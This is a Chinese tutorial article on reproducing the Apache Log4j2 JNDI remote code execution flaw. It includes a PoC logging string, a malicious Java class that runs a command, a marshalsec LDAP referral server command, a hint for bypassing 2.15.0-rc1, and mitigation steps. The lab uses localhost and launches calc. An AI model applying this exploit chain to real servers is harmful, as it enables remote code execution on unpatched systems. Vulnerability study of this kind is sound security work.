0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看威廉希尔官方网站 视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

如何复现Log4j2漏洞

马哥Linux运维 来源:马哥Linux运维 2023-02-13 10:55 次阅读

1. 简介

ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

2. 漏洞概述

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

3. 影响范围

Apache Log4j 2.x <= 2.15.0-rc1

4. 环境搭建

1、创建一个新的maven项目,并导入Log4j的依赖包


org.apache.logging.log4j
log4j-core
2.14.1

漏洞利用

1、使用POC测试

importorg.apache.logging.log4j.LogManager;
importorg.apache.logging.log4j.Logger;
classLogTest{
publicstaticfinalLoggerlogger=LogManager.getLogger();
publicstaticvoidmain(String[]args){
logger.error("${jndi//localhost:8888/Exploit}");
}
}

2、编译一恶意类Exploit.class

首先新建exp.java,然后编译为class文件

classExploit{
static{
System.err.println("Pwned");
try{
Stringcmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exceptione){
e.printStackTrace();
}
}
}
javacexp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit"8888

ed720a4e-aaa3-11ed-bfe3-dac502259ad0.png

4、运行poc.java,即可访问恶意类并执行写在其中的"calc"命令

ed86eff4-aaa3-11ed-bfe3-dac502259ad0.png

结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"可绕过rc1,RC2版本对此异常进行了捕获。

eda76ae0-aaa3-11ed-bfe3-dac502259ad0.png

5. 修复方式

目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建议同时采用如下临时措施进行漏洞防范:

1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

4)部署使用第三方防火墙产品进行安全防护。

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • JAVA
    +关注

    关注

    19

    文章

    2966

    浏览量

    104703
  • 漏洞
    +关注

    关注

    0

    文章

    204

    浏览量

    15366

原文标题:手把手教你复现 Log4j2 漏洞

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影响?

    STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影响?
    发表于 12-07 07:02

    Java日志框架中的王者是谁

    不及Apache 的新一代日志框架 - Log4j 目前来看,Log4j2 就是王者,其他日志框架都不是对手 Log4j2简介 Apache Log4j
    的头像 发表于 10-13 09:12 1362次阅读

    使用Keysight免费评估Log4j/Log4Shell零日漏洞

    在过去72小时左右的时间里,网络安全领域的大多数人已经意识到Log4j/Log4Shell零日漏洞及其对大多数web服务器、云应用程序、互联网设备和嵌入式设备的广泛影响。你可以阅读CVE-2021-44228中记录的所有血淋淋的
    的头像 发表于 12-21 10:50 1532次阅读

    SafeLog4j解决log4shell漏洞

    safelog4j.zip
    发表于 05-06 11:55 2次下载
    SafeLog<b class='flag-5'>4j</b>解决<b class='flag-5'>log4</b>shell<b class='flag-5'>漏洞</b>

    Log4-detector Log4J漏洞版本扫描器

    log4j-detector.zip
    发表于 05-06 11:55 0次下载
    <b class='flag-5'>Log4</b>-detector <b class='flag-5'>Log4J</b><b class='flag-5'>漏洞</b>版本扫描器

    log4j-finder Log4Shell漏洞扫描工具

    log4j-finder.zip
    发表于 05-06 11:54 1次下载
    <b class='flag-5'>log4j</b>-finder <b class='flag-5'>Log4</b>Shell<b class='flag-5'>漏洞</b>扫描工具

    fix_log4j2 log4j2漏洞缓解工具

    fix_log4j2.zip
    发表于 05-06 10:22 0次下载
    fix_<b class='flag-5'>log4j2</b> <b class='flag-5'>log4j2</b><b class='flag-5'>漏洞</b>缓解工具

    华为云VSS漏洞扫描服务为你排除Apache log4j2隐患

    华为云VSS漏洞扫描服务为你排除Apache log4j2隐患 近日Apache Log4j2漏洞持续发酵,已成为中国互联网2021年年底前最大的安全事件。华为云VSS
    的头像 发表于 10-13 13:52 993次阅读
    华为云VSS<b class='flag-5'>漏洞</b>扫描服务为你排除Apache <b class='flag-5'>log4j2</b>隐患

    委派模式——从SLF4J说起

    SLF4J全称"Simple Logging Facade for Java (SLF4J) ", 它诞生之初的目的,是为了针对不同的log解决方案,提供一套统一的接口适配标准,从而让业务代码无须关心使用到的第三方模块都使用了哪
    的头像 发表于 01-31 15:12 521次阅读

    log4j日志框架分析

    og4j是Apache下的一款开源的日志框架,能够满足我们在项目中对于日志记录的需求。log4j提供了简单的API调用,强大的日志格式定义以及灵活的扩展性。使用者可以自己定义Appender来满足对于日志输出的需求。在系统中对于记录日志的需求并不单纯。
    的头像 发表于 02-28 14:32 1114次阅读
    <b class='flag-5'>log4j</b>日志框架分析

    Spring Boot的日志框架使用

    目前市面上常见的日志框架有:slf4j(Simple Logging Facade for Java)、logback、log4jlog4j2、commons-logging(Spring默认日志框架)、JUL(java.ut
    的头像 发表于 06-02 10:59 945次阅读
    Spring Boot的日志框架使用

    【声明】请您放心,我们的产品没有用log4j

    Apachelog4j漏洞11月24日由阿里云安全团队向Apache官方报告了Apachelog4j远程代码执行漏洞。这漏洞的影响范围太广(
    的头像 发表于 12-19 13:51 418次阅读
    【声明】请您放心,我们的产品没有用<b class='flag-5'>log4j</b>

    保护Log4j日志中的敏感数据,两步搞定!

    log4j在准备添加日志消息时调用此方法。在MaskingAppender类中,我们覆盖这个方法来拦截日志消息,使用maskSensitiveData()方法对敏感数据应用masking,然后将修改后的消息传递给超类的append()方法。
    的头像 发表于 10-18 16:03 757次阅读

    某些bug正常运行时会出现,当打开串口log时又不再复现怎么办?

    某些bug正常运行时会出现,当打开串口log时又不再复现怎么办? 在开发过程中,我们经常会遇到一些bug。这些bug会对我们的开发造成一定程度的困扰,有时候甚至会让我们的软件崩溃或无法正常运行
    的头像 发表于 10-31 14:37 374次阅读

    Log4cpp优势及优点

    命令行、文件、回卷文件、内存、syslog服务器、Win事件日志等; 可以动态控制日志记录级别,在效率和功能中进行调整; 所有配置可以通过配置文件进行动态调整; 多语言支持,包括Java(log4j
    的头像 发表于 11-09 14:27 695次阅读
    <b class='flag-5'>Log4</b>cpp优势及优点